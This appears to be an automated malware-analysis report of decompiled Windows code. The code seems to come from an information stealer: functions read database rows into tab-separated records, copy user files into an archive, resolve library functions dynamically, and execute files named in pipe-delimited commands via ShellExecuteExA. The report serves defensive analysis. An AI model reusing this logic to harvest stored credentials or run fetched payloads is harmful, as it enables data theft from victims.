							_t134 =  *0x41ffe0; // 0x0
							lstrcatA(_t134, "\n");
							_t159 =  *0x41f8f4; // 0x562cc0
							_t93 =  *0x41ffe0; // 0x0
							lstrcatA(_t93, _t159);
							_t160 =  *0x41ffe0; // 0x0
							lstrcatA(_t160, _v296);
							_t96 =  *0x41ffe0; // 0x0
							lstrcatA(_t96, "\n");
							_t136 =  *0x41fd64; // 0x563de0
							_t98 =  *0x420040(_v288 + 1, _t136);
							_t99 =  *0x41fd64; // 0x563de0
							_t41 =  *0x42009c(_t99) + 3; // 0x3
							_v296 = _t98 + _t41;
							_t163 =  *0x41fd60; // 0x563ac0
							_v288 =  *0x420040(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41f81c; // 0x562cd0
							_t104 =  *0x41ffe0; // 0x0
							lstrcatA(_t104, _t164);
							_t106 = E00407360(_v296, _t182, _v296);
							_t165 =  *0x41ffe0; // 0x0
							lstrcatA(_t165, _t106);
							_t108 =  *0x41ffe0; // 0x0
							lstrcatA(_t108, "\n");
							_t140 =  *0x41fd60; // 0x563ac0
							_t110 =  *0x420040(_v288 + 1, _t140);
							_t111 =  *0x41fd60; // 0x563ac0
							_t49 =  *0x42009c(_t111) + 3; // 0x3
							_v296 = _t110 + _t49;
							_t168 =  *0x41feb4; // 0x562db0
							_v288 =  *0x420040(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41f8fc; // 0x562d40
							_t116 =  *0x41ffe0; // 0x0
							lstrcatA(_t116, _t169);
							_t118 = E00407360(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41ffe0; // 0x0
							lstrcatA(_t170, _t118);
							_t120 =  *0x41ffe0; // 0x0
							lstrcatA(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						 *0x420058(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x00408bee
0x00408bf4
0x00408bf9
0x00408c04
0x00408c09
0x00408c0c
0x00408c13
0x00408c25
0x00408c35
0x00408c47
0x00408c4d
0x00408c5b
0x00408c61
0x00408c6b
0x00408c91
0x00408c9e
0x00408f73
0x00000000
0x00408f73
0x00408cb1
0x00408cc6
0x00408cd9
0x00408ce9
0x00408cee
0x00408cf1
0x00408cfd
0x00408d18
0x00408d1e
0x00408d1e
0x00408d2f
0x00408d35
0x00408d3c
0x00000000
0x00000000
0x00408d42
0x00408d55
0x00408d59
0x00408d5f
0x00408d76
0x00408d82
0x00408d85
0x00408d8c
0x00408d93
0x00408d9d
0x00408da4
0x00408daf
0x00408db6
0x00408dbc
0x00408dc2
0x00408dc9
0x00408dd3
0x00408dd9
0x00408de4
0x00408deb
0x00408df1
0x00408df8
0x00408dfe
0x00408e0b
0x00408e12
0x00408e1d
0x00408e23
0x00408e29
0x00408e3a
0x00408e42
0x00408e4e
0x00408e52
0x00408e58
0x00408e6f
0x00408e7b
0x00408e7e
0x00408e85
0x00408e8b
0x00408e98
0x00408ea1
0x00408ea8
0x00408eb3
0x00408eb9
0x00408ebf
0x00408ed0
0x00408ed8
0x00408ee4
0x00408ee8
0x00408eee
0x00408f05
0x00408f11
0x00408f14
0x00408f1b
0x00408f21
0x00408f2e
0x00408f33
0x00408f37
0x00408f3e
0x00408f49
0x00408f4f
0x00408f5e
0x00408f5e
0x00408f6d
0x00000000
0x00408f6d
0x00408c13
0x00408f7d

APIs

lstrcatA.KERNEL32(?,0055F6D8,?,00000104), ref: 00408C35
lstrcatA.KERNEL32(?,004187CC), ref: 00408C47
lstrcatA.KERNEL32(?,005646F8), ref: 00408C5B
new[].LIBCMTD ref: 00408CE9
lstrcatA.KERNEL32(00000000,00562CE0), ref: 00408D93
lstrcatA.KERNEL32(00000000,?), ref: 00408DA4
lstrcatA.KERNEL32(00000000,0041D304), ref: 00408DB6
lstrcatA.KERNEL32(00000000,00562CA0), ref: 00408DC9
lstrcatA.KERNEL32(00000000,00000020), ref: 00408DD9
lstrcatA.KERNEL32(00000000,0041D304), ref: 00408DEB
lstrcatA.KERNEL32(00000000,00562CC0), ref: 00408DFE
lstrcatA.KERNEL32(00000000,00000000), ref: 00408E12
lstrcatA.KERNEL32(00000000,0041D304), ref: 00408E23
lstrcatA.KERNEL32(00000000,00562CD0), ref: 00408E8B
lstrcatA.KERNEL32(00000000,00000000), ref: 00408EA8
lstrcatA.KERNEL32(00000000,0041D304), ref: 00408EB9
lstrcatA.KERNEL32(00000000,00562D40), ref: 00408F21

Part of subcall function 00407360: lstrcatA.KERNEL32(?,004187CE), ref: 00407479
Part of subcall function 00407360: lstrcatA.KERNEL32(?,004187CE), ref: 0040748D
Part of subcall function 00407360: lstrcatA.KERNEL32(004187CE,004187CE), ref: 004074AE

lstrcatA.KERNEL32(00000000,00000000), ref: 00408F3E
lstrcatA.KERNEL32(00000000,0041D300), ref: 00408F4F

Strings

,V, xrefs: 00408D85
@-V, xrefs: 00408F14
=V, xrefs: 00408E29, 00408E42
, xrefs: 00408C0F

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$new[]
String ID: $@-V$,V$=V
API String ID: 3200955829-3967163453
Opcode ID: f1ec04f4f21b35e0407250b7da65219e262a0fe9e84d1958274c3e0cc1814ba9
Instruction ID: 8bd07e1ae3b1aa538f6fe4bcfabab48e2fbf6fdc6b79b8dd7838219804584f8f
Opcode Fuzzy Hash: f1ec04f4f21b35e0407250b7da65219e262a0fe9e84d1958274c3e0cc1814ba9
Instruction Fuzzy Hash: A5A12FB5A00208AFC724DFA4EC49FEA77F9BB4C300F0481A9F60993251C775AA56CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00408780, Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 284
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00408780(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v12;
				char _v276;
				void* _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _v292;
				CHAR* _v296;
				CHAR* _v300;
				CHAR* _v304;
				CHAR* _v308;
				intOrPtr* _v312;
				CHAR* _v316;
				char _v317;
				char _v318;
				long _v324;
				long _v328;
				intOrPtr* _v332;
				CHAR* _v336;
				char _v337;
				char _v338;
				long _v344;
				long _v348;
				intOrPtr _t107;
				void* _t110;
				void* _t112;
				void* _t118;
				CHAR* _t132;
				long _t181;
				CHAR* _t182;
				long _t183;
				CHAR* _t184;
				CHAR* _t192;
				CHAR* _t193;
				intOrPtr _t196;
				char _t202;
				char _t205;
				char _t216;
				char _t218;
				void* _t219;
				void* _t221;
				void* _t222;
				void* _t225;

				E0040B2C0( &_v276, 0x104);
				_t107 =  *0x41f938; // 0x563ea0
				 *0x420018( &_v276, _t107, _a12, _a8);
				_t110 =  *0x41ffd8(_a4,  &_v8);
				_t221 = _t219 + 0x18;
				if(_t110 == 0) {
					_t196 =  *0x41f978; // 0x557c20
					_t112 =  *0x41ff90(_v8, _t196, 0xffffffff,  &_v12, 0);
					_t222 = _t221 + 0x14;
					if(_t112 != 0) {
						L26:
						 *0x41ffb0(_v12);
						return  *0x41ffdc(_v8);
					}
					_v280 = HeapAlloc( *0x420200(), 0, 0xf423f);
					while(1) {
						L3:
						_t118 =  *0x41ffac(_v12);
						_t225 = _t222 + 4;
						if(_t118 != 0x64) {
							break;
						}
						_v300 =  *0x41ffc8(_v12, 0);
						_v284 =  *0x41ffc8(_v12, 1);
						_v308 =  *0x41ffc8(_v12, 2);
						_v304 =  *0x41ffc8(_v12, 3);
						_v296 =  *0x41ffc8(_v12, 4);
						_v292 =  *0x41ffc8(_v12, 5);
						_t132 =  *0x41ffc8(_v12, 6);
						_t222 = _t225 + 0x38;
						_v288 = _t132;
						_v312 = "0";
						_v316 = _v284;
						while(1) {
							_t181 = _v316;
							_t202 =  *_t181;
							_v317 = _t202;
							if(_t202 !=  *_v312) {
								break;
							}
							if(_v317 == 0) {
								L9:
								_v324 = 0;
								L11:
								_v328 = _v324;
								if(_v328 != 0) {
									E0040B280(_t181, _v284, 0, 4);
									_t182 =  *0x41f90c; // 0x562e90
									lstrcatA(_v284, _t182);
								} else {
									E0040B280(_t181, _v284, 0, 4);
									_t193 =  *0x41fc38; // 0x562e20
									lstrcatA(_v284, _t193);
								}
								_v332 = "0";
								_v336 = _v304;
								while(1) {
									_t183 = _v336;
									_t205 =  *_t183;
									_v337 = _t205;
									if(_t205 !=  *_v332) {
										break;
									}
									if(_v337 == 0) {
										L19:
										_v344 = 0;
										L21:
										_v348 = _v344;
										if(_v348 != 0) {
											E0040B280(_t183, _v304, 0, 4);
											_t184 =  *0x41f90c; // 0x562e90
											lstrcatA(_v304, _t184);
										} else {
											E0040B280(_t183, _v304, 0, 4);
											_t192 =  *0x41fc38; // 0x562e20
											lstrcatA(_v304, _t192);
										}
										lstrcatA(_v280, _v300);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v284);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v308);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v304);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v296);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v292);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v288);
										lstrcatA(_v280, "\n");
										goto L3;
									}
									_t183 = _v336;
									_t216 =  *((intOrPtr*)(_t183 + 1));
									_v338 = _t216;
									_t62 = _v332 + 1; // 0x48000000
									if(_t216 !=  *_t62) {
										break;
									}
									_v336 = _v336 + 2;
									_v332 = _v332 + 2;
									if(_v338 != 0) {
										continue;
									}
									goto L19;
								}
								asm("sbb ecx, ecx");
								asm("sbb ecx, 0xffffffff");
								_v344 = _t183;
								goto L21;
							}
							_t181 = _v316;
							_t218 =  *((intOrPtr*)(_t181 + 1));
							_v318 = _t218;
							_t36 = _v312 + 1; // 0x48000000
							if(_t218 !=  *_t36) {
								break;
							}
							_v316 = _v316 + 2;
							_v312 = _v312 + 2;
							if(_v318 != 0) {
								continue;
							}
							goto L9;
						}
						asm("sbb ecx, ecx");
						asm("sbb ecx, 0xffffffff");
						_v324 = _t181;
						goto L11;
					}
					E004133B0(_a16,  &_v276, _v280,  *0x42009c(_v280));
					_t222 = _t225 + 0x10;
					E0040B2C0( &_v280, 4);
					goto L26;
				}
				return _t110;
			}

0x00408795
0x004087a2
0x004087af
0x004087c0
0x004087c6
0x004087cb
0x004087d9
0x004087e4
0x004087ea
0x004087ef
0x00408bb9
0x00408bbd
0x00000000
0x00408bd0
0x00408809
0x0040880f
0x0040880f
0x00408813
0x00408819
0x0040881f
0x00000000
0x00000000
0x00408834
0x00408849
0x0040885e
0x00408873
0x00408888
0x0040889d
0x004088a9
0x004088af
0x004088b2
0x004088b8
0x004088c8
0x004088ce
0x004088ce
0x004088d4
0x004088d6
0x004088e4
0x00000000
0x00000000
0x004088ed
0x00408920
0x00408920
0x00408937
0x0040893d
0x0040894a
0x0040897d
0x00408982
0x00408990
0x0040894c
0x00408957
0x0040895c
0x0040896a
0x0040896a
0x00408996
0x004089a6
0x004089ac
0x004089ac
0x004089b2
0x004089b4
0x004089c2
0x00000000
0x00000000
0x004089cb
0x004089fe
0x004089fe
0x00408a15
0x00408a1b
0x00408a28
0x00408a5b
0x00408a60
0x00408a6e
0x00408a2a
0x00408a35
0x00408a3a
0x00408a48
0x00408a48
0x00408a82
0x00408a94
0x00408aa8
0x00408aba
0x00408ace
0x00408ae0
0x00408af4
0x00408b06
0x00408b1a
0x00408b2c
0x00408b40
0x00408b52
0x00408b66
0x00408b78
0x00000000
0x00408b78
0x004089cd
0x004089d3
0x004089d6
0x004089e2
0x004089e5
0x00000000
0x00000000
0x004089e7
0x004089ee
0x004089fc
0x00000000
0x00000000
0x00000000
0x004089fc
0x00408a0a
0x00408a0c
0x00408a0f
0x00000000
0x00408a0f
0x004088ef
0x004088f5
0x004088f8
0x00408904
0x00408907
0x00000000
0x00000000
0x00408909
0x00408910
0x0040891e
0x00000000
0x00000000
0x00000000
0x0040891e
0x0040892c
0x0040892e
0x00408931
0x00000000
0x00408931
0x00408ba3
0x00408ba8
0x00408bb4
0x00000000
0x00408bb4
0x00408bd6

APIs

HeapAlloc.KERNEL32(00000000), ref: 00408803
lstrcatA.KERNEL32(?,00562E20,?,00000000,00000004), ref: 0040896A
lstrcatA.KERNEL32(?,00562E90,?,00000000,00000004), ref: 00408990
lstrcatA.KERNEL32(?,00562E20,?,00000000,00000004), ref: 00408A48
lstrcatA.KERNEL32(?,00562E90,?,00000000,00000004), ref: 00408A6E
lstrcatA.KERNEL32(?,?), ref: 00408A82
lstrcatA.KERNEL32(?,0041D92C), ref: 00408A94
lstrcatA.KERNEL32(?,?), ref: 00408AA8
lstrcatA.KERNEL32(?,0041D92C), ref: 00408ABA
lstrcatA.KERNEL32(?,?), ref: 00408ACE
lstrcatA.KERNEL32(?,0041D92C), ref: 00408AE0
lstrcatA.KERNEL32(?,?), ref: 00408AF4
lstrcatA.KERNEL32(?,0041D92C), ref: 00408B06
lstrcatA.KERNEL32(?,?), ref: 00408B1A
lstrcatA.KERNEL32(?,0041D92C), ref: 00408B2C
lstrcatA.KERNEL32(?,?), ref: 00408B40
lstrcatA.KERNEL32(?,0041D92C), ref: 00408B52
lstrcatA.KERNEL32(?,?), ref: 00408B66
lstrcatA.KERNEL32(?,0041D304), ref: 00408B78

Strings

.V, xrefs: 0040895C, 00408A3A
|U, xrefs: 004087D9

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocHeap
String ID: .V$ |U
API String ID: 1338668018-1471305159
Opcode ID: fd95ab96f666cf134439e83ed341f1fff633ca26b36845e895d6dcde0334b619
Instruction ID: 708d6ef9b92017b168428e31a4c6906a60c26e8fc95f937ba8ed32784ea73985
Opcode Fuzzy Hash: fd95ab96f666cf134439e83ed341f1fff633ca26b36845e895d6dcde0334b619
Instruction Fuzzy Hash: E9C192B1A002189BCB24DF64DD89FEE77B5AF48700F0081E9F649A7291C7359E85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405060, Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405060(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				CHAR* _t45;
				CHAR* _t50;
				CHAR* _t55;
				CHAR* _t60;
				CHAR* _t65;
				CHAR* _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				CHAR* _t97;
				CHAR* _t99;
				CHAR* _t101;
				CHAR* _t103;
				CHAR* _t105;
				CHAR* _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				CHAR* _t116;
				CHAR* _t118;
				CHAR* _t120;
				CHAR* _t122;
				CHAR* _t124;
				CHAR* _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B2C0( &_v1324, 0x104);
				E0040B2C0( &_v268, 0x104);
				E0040B2C0( &_v796, 0x104);
				E0040B2C0( &_v1588, 0x104);
				E0040B2C0( &_v532, 0x104);
				E0040B2C0( &_v1060, 0x104);
				_t45 =  *0x41fb14; // 0x55ea00
				lstrcatA( &_v1324, _t45);
				_t116 =  *0x41ff6c; // 0x55c438
				lstrcatA( &_v1324, _t116);
				_t97 =  *0x41f8cc; // 0x562878
				lstrcatA( &_v1324, _t97);
				_t50 =  *0x41fb14; // 0x55ea00
				lstrcatA( &_v268, _t50);
				_t118 =  *0x41ff6c; // 0x55c438
				lstrcatA( &_v268, _t118);
				_t99 =  *0x41fb60; // 0x5629c8
				lstrcatA( &_v268, _t99);
				_t55 =  *0x41fb14; // 0x55ea00
				lstrcatA( &_v796, _t55);
				_t120 =  *0x41ff6c; // 0x55c438
				lstrcatA( &_v796, _t120);
				_t101 =  *0x41f840; // 0x5627d0
				lstrcatA( &_v796, _t101);
				_t60 =  *0x41fb14; // 0x55ea00
				lstrcatA( &_v1588, _t60);
				_t122 =  *0x41ff6c; // 0x55c438
				lstrcatA( &_v1588, _t122);
				_t103 =  *0x41fdac; // 0x562a70
				lstrcatA( &_v1588, _t103);
				_t65 =  *0x41fb14; // 0x55ea00
				lstrcatA( &_v532, _t65);
				_t124 =  *0x41ff6c; // 0x55c438
				lstrcatA( &_v532, _t124);
				_t105 =  *0x41fdd8; // 0x5629e0
				lstrcatA( &_v532, _t105);
				_t70 =  *0x41fb14; // 0x55ea00
				lstrcatA( &_v1060, _t70);
				_t126 =  *0x41ff6c; // 0x55c438
				lstrcatA( &_v1060, _t126);
				_t107 =  *0x41fe1c; // 0x55c698
				lstrcatA( &_v1060, _t107);
				_t75 =  *0x41fa9c; // 0x55f2f0
				E004048E0( &_v1324, _t75);
				_t128 =  *0x41fdf8; // 0x55f3b8
				E004048E0( &_v268, _t128);
				_t109 =  *0x41f9d0; // 0x55f1d8
				E004048E0( &_v796, _t109);
				_t80 =  *0x41fe74; // 0x55c658
				E004048E0( &_v1588, _t80);
				_t130 =  *0x41fc54; // 0x55f318
				E004048E0( &_v532, _t130);
				_t111 =  *0x41fea8; // 0x55f4d0
				E004048E0( &_v1060, _t111);
				E0040B2C0( &_v1324, 0x104);
				E0040B2C0( &_v268, 0x104);
				E0040B2C0( &_v796, 0x104);
				E0040B2C0( &_v1588, 0x104);
				E0040B2C0( &_v532, 0x104);
				return E0040B2C0( &_v1060, 0x104);
			}

0x00405075
0x00405086
0x00405097
0x004050a8
0x004050b9
0x004050ca
0x004050cf
0x004050dc
0x004050e2
0x004050f0
0x004050f6
0x00405104
0x0040510a
0x00405117
0x0040511d
0x0040512b
0x00405131
0x0040513f
0x00405145
0x00405152
0x00405158
0x00405166
0x0040516c
0x0040517a
0x00405180
0x0040518d
0x00405193
0x004051a1
0x004051a7
0x004051b5
0x004051bb
0x004051c8
0x004051ce
0x004051dc
0x004051e2
0x004051f0
0x004051f6
0x00405203
0x00405209
0x00405217
0x0040521d
0x0040522b
0x00405231
0x0040523e
0x00405246
0x00405254
0x0040525c
0x0040526a
0x00405272
0x0040527f
0x00405287
0x00405295
0x0040529d
0x004052ab
0x004052bf
0x004052d0
0x004052e1
0x004052f2
0x00405303
0x0040531c

APIs

lstrcatA.KERNEL32(?,0055EA00,?,00000104,?,00000104,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004050DC
lstrcatA.KERNEL32(?,0055C438), ref: 004050F0
lstrcatA.KERNEL32(?,00562878), ref: 00405104
lstrcatA.KERNEL32(?,0055EA00), ref: 00405117
lstrcatA.KERNEL32(?,0055C438), ref: 0040512B
lstrcatA.KERNEL32(?,005629C8), ref: 0040513F
lstrcatA.KERNEL32(?,0055EA00), ref: 00405152
lstrcatA.KERNEL32(?,0055C438), ref: 00405166
lstrcatA.KERNEL32(?,005627D0), ref: 0040517A
lstrcatA.KERNEL32(?,0055EA00), ref: 0040518D
lstrcatA.KERNEL32(?,0055C438), ref: 004051A1
lstrcatA.KERNEL32(?,00562A70), ref: 004051B5
lstrcatA.KERNEL32(?,0055EA00), ref: 004051C8
lstrcatA.KERNEL32(?,0055C438), ref: 004051DC
lstrcatA.KERNEL32(?,005629E0), ref: 004051F0
lstrcatA.KERNEL32(?,0055EA00), ref: 00405203
lstrcatA.KERNEL32(?,0055C438), ref: 00405217
lstrcatA.KERNEL32(?,0055C698), ref: 0040522B

Part of subcall function 004048E0: WriteFile.KERNEL32(0055F250,?,00000000,?,00000000), ref: 004049A3

Strings

p*V, xrefs: 004051A7
x(V, xrefs: 004050F6
)V, xrefs: 004051E2

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$FileWrite
String ID: p*V$x(V$)V
API String ID: 1519767073-3367384698
Opcode ID: 4241ab6650515aed1ff19ad84484c0512aa70af92f1e4fa7d2c10621b0d53687
Instruction ID: 0df58fc19f7a995453a5206795a9352383a4caf80198640fda0ef1e489e292bc
Opcode Fuzzy Hash: 4241ab6650515aed1ff19ad84484c0512aa70af92f1e4fa7d2c10621b0d53687
Instruction Fuzzy Hash: 9B6179BA510218ABC715EBA0EC85EEA337CBB5C300F4485BEB20592151DB75A689CF98

Uniqueness

Uniqueness Score: -1.00%

Function 004074C0, Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004074C0(intOrPtr _a4) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char* _t15;
				struct HINSTANCE__* _t19;
				CHAR* _t22;
				struct HINSTANCE__* _t24;
				CHAR* _t27;
				intOrPtr _t35;
				CHAR* _t36;
				struct HINSTANCE__* _t37;
				CHAR* _t38;
				struct HINSTANCE__* _t39;
				intOrPtr _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;

				if(_a4 == 0) {
					return 0;
				}
				_t15 =  *0x41f7e4; // 0x562d50
				_v8 = getenv(_t15);
				if(_v8 != 0) {
					_push(0);
					_push(_a4);
					_v12 = E0040BA50(_a4, _v8, ";");
					_push(0);
					_t41 =  *0x41fefc; // 0x562d60
					_putenv(E0040BA50(_t41, _t41, _v12));
					_v16 = _v12;
					E0040B150(_v16);
				}
				_t35 =  *0x41fe74; // 0x55c658
				 *0x41ffcc =  *0x4201a4(_t35);
				if( *0x41ffcc != 0) {
					_t42 =  *0x41fa5c; // 0x564680
					_t19 =  *0x41ffcc; // 0x0
					 *0x41ffc4 = GetProcAddress(_t19, _t42);
					_t36 =  *0x41fdd0; // 0x564740
					_t43 =  *0x41ffcc; // 0x0
					 *0x41ffe8 = GetProcAddress(_t43, _t36);
					_t22 =  *0x41f964; // 0x563c00
					_t37 =  *0x41ffcc; // 0x0
					 *0x41ff94 = GetProcAddress(_t37, _t22);
					_t44 =  *0x41f8dc; // 0x564608
					_t24 =  *0x41ffcc; // 0x0
					 *0x41ffbc = GetProcAddress(_t24, _t44);
					_t38 =  *0x41ff5c; // 0x563c20
					_t45 =  *0x41ffcc; // 0x0
					 *0x41ffd0 = GetProcAddress(_t45, _t38);
					_t27 =  *0x41fb04; // 0x564620
					_t39 =  *0x41ffcc; // 0x0
					 *0x41ffb4 = GetProcAddress(_t39, _t27);
				}
				if( *0x41ffc4 == 0 ||  *0x41ffe8 == 0 ||  *0x41ff94 == 0 ||  *0x41ffd0 == 0 ||  *0x41ffb4 == 0 ||  *0x41ffbc == 0) {
					_v20 = 0;
				} else {
					_v20 = 1;
				}
				return _v20;
			}

0x004074ca
0x00000000
0x0040762f
0x004074d0
0x004074df
0x004074e6
0x004074e8
0x004074ed
0x004074ff
0x00407502
0x00407508
0x00407518
0x00407524
0x0040752b
0x00407530
0x00407533
0x00407540
0x0040754c
0x00407552
0x00407559
0x00407565
0x0040756a
0x00407571
0x0040757e
0x00407583
0x00407589
0x00407596
0x0040759b
0x004075a2
0x004075ae
0x004075b3
0x004075ba
0x004075c7
0x004075cc
0x004075d2
0x004075df
0x004075df
0x004075eb
0x00407623
0x0040761a
0x0040761a
0x0040761a
0x00000000

APIs

getenv.MSVCRT(00562D50), ref: 004074D6
_putenv.MSVCRT(00000000), ref: 00407518
GetProcAddress.KERNEL32(00000000,00564680), ref: 0040755F
GetProcAddress.KERNEL32(00000000,00564740), ref: 00407578
GetProcAddress.KERNEL32(00000000,00563C00), ref: 00407590
GetProcAddress.KERNEL32(00000000,00564608), ref: 004075A8
GetProcAddress.KERNEL32(00000000,00563C20), ref: 004075C1
GetProcAddress.KERNEL32(00000000,00564620), ref: 004075D9

Part of subcall function 0040BA50: new[].LIBCMTD ref: 0040BAB0

Strings

P-V, xrefs: 004074D0
FV, xrefs: 004075CC
`-V, xrefs: 00407508
<V, xrefs: 004075B3
@GV, xrefs: 0040756A

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$_putenvgetenvnew[]
String ID: <V$ FV$@GV$P-V$`-V
API String ID: 4290302509-34610661
Opcode ID: a9e1853a123f7834bd12614e718a2c1226fda09c562c1f5d51ee5c9042fd94d4
Instruction ID: c752ac5989f2ab252d5c0fe75b396dabef4109d406a5f79a2539bcb59b33b407
Opcode Fuzzy Hash: a9e1853a123f7834bd12614e718a2c1226fda09c562c1f5d51ee5c9042fd94d4
Instruction Fuzzy Hash: 7E4107B1A04600DFD714DFA8ED49BAA77B5E749300F00C53AE506933A1D3B9A94BCF59

Uniqueness

Uniqueness Score: -1.00%

Function 004094F0, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E004094F0(CHAR* _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16, intOrPtr _a20) {
				char _v268;
				intOrPtr _v272;
				char _v552;
				char _v596;
				char _v860;
				char _v1124;
				intOrPtr _t40;
				CHAR* _t76;
				void* _t94;
				void* _t95;

				 *0x420018( &_v268, "%s\\*", _a4);
				_t95 = _t94 + 0xc;
				_t40 =  *0x420258( &_v268,  &_v596);
				_v272 = _t40;
				if(_v272 != 0xffffffff) {
					do {
						_push(".");
						_push( &_v552);
						if( *0x4201dc() == 0) {
							L4:
							goto L6;
						}
						_push("..");
						_push( &_v552);
						if( *0x4201dc() != 0) {
							E0040B2C0( &_v860, 0x104);
							E0040B2C0( &_v1124, 0x104);
							lstrcatA( &_v860, _a4);
							lstrcatA( &_v860, "\\");
							lstrcatA( &_v860,  &_v552);
							_t76 =  *0x41fde8; // 0x564410
							lstrcatA( &_v1124, _t76);
							lstrcatA( &_v1124, _a12);
							lstrcatA( &_v1124, "\\");
							lstrcatA( &_v1124, _a16);
							lstrcatA( &_v1124, "\\");
							lstrcatA( &_v1124, _a8);
							lstrcatA( &_v1124, "\\");
							lstrcatA( &_v1124,  &_v552);
							 *0x420064( &_v860,  &_v552, 1);
							E00413390(_a20,  &_v1124,  &_v552);
							_t95 = _t95 + 0xc;
							 *0x4200a8( &_v552);
							goto L6;
						}
						goto L4;
						L6:
						_push( &_v596);
						_push(_v272);
					} while ( *0x4200c4() != 0);
					return  *0x42004c(_v272);
				}
				return _t40;
			}

0x00409509
0x0040950f
0x00409520
0x00409526
0x00409533
0x0040953a
0x0040953a
0x00409545
0x0040954e
0x00409566
0x00000000
0x00409566
0x00409550
0x0040955b
0x00409564
0x00409577
0x00409588
0x00409598
0x004095aa
0x004095be
0x004095c4
0x004095d2
0x004095e3
0x004095f5
0x00409606
0x00409618
0x00409629
0x0040963b
0x0040964f
0x00409665
0x0040967d
0x00409682
0x0040968c
0x00000000
0x0040968c
0x00000000
0x00409692
0x00409698
0x0040969f
0x004096a6
0x00000000
0x004096b5
0x00000000

Strings

%s\*, xrefs: 004094FD

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: %s\*
API String ID: 0-766152087
Opcode ID: fc85efdf1b5e42506d926844c09d7dfa0ea85772694d16883b4a022e1a7cd605
Instruction ID: b22ac54ff47f28817513319a5bc89da0eddf4838f92876bdda5d11c2a97c015c
Opcode Fuzzy Hash: fc85efdf1b5e42506d926844c09d7dfa0ea85772694d16883b4a022e1a7cd605
Instruction Fuzzy Hash: 6B4169B2500319ABCB30DFA0DC49FEB73BCBB58705F448599B605A2091EB759B85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405740, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 110
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405740(void* __eflags, char* _a4) {
				char* _v8;
				char _v276;
				char _v540;
				char _v804;
				CHAR* _v808;
				struct _SHELLEXECUTEINFOA _v868;
				char* _v872;
				char* _t44;
				CHAR* _t52;
				intOrPtr _t81;
				void* _t84;
				void* _t85;

				_t44 = strtok(_a4, "|");
				_t85 = _t84 + 8;
				_v808 = _t44;
				_v8 = 1;
				E0040B2C0( &_v540, 0x104);
				E0040B2C0( &_v804, 0x104);
				E0040B2C0( &_v276, 0x104);
				while(_v808 != 0) {
					_v872 = _v8;
					if(_v872 == 1) {
						lstrcatA( &_v540, _v808);
					} else {
						if(_v872 == 2) {
							lstrcatA( &_v804, _v808);
						} else {
							if(_v872 == 3) {
								lstrcatA( &_v276, _v808);
								E004048E0( &_v540,  &_v804);
								_t85 = _t85 + 8;
								E0040B280( &_v868,  &_v868, 0, 0x3c);
								_v868.cbSize = 0x3c;
								_v868.fMask = 0;
								_v868.hwnd = 0;
								_t81 =  *0x41fe3c; // 0x55eb30
								_v868.lpVerb = _t81;
								_v868.lpFile =  &_v804;
								_v868.lpParameters =  &_v276;
								_v868.lpDirectory = 0;
								_v868.nShow = 5;
								_v868.hInstApp = 0;
								ShellExecuteExA( &_v868);
								E0040B280( &_v276,  &_v868, 0, 0x3c);
								E0040B2C0( &_v804, 0x104);
								E0040B2C0( &_v276, 0x104);
								E0040B2C0( &_v540, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 =  &(_v8[1]);
					_t52 = strtok(0, "|");
					_t85 = _t85 + 8;
					_v808 = _t52;
				}
				return E0040B2C0( &_v808, 4);
			}

0x00405752
0x00405758
0x0040575b
0x00405761
0x00405774
0x00405785
0x00405796
0x0040579b
0x004057ab
0x004057b8
0x004057df
0x004057ba
0x004057c1
0x004057f8
0x004057c3
0x004057ca
0x00405811
0x00405825
0x0040582a
0x00405838
0x0040583d
0x00405847
0x00405851
0x0040585b
0x00405861
0x0040586d
0x00405879
0x0040587f
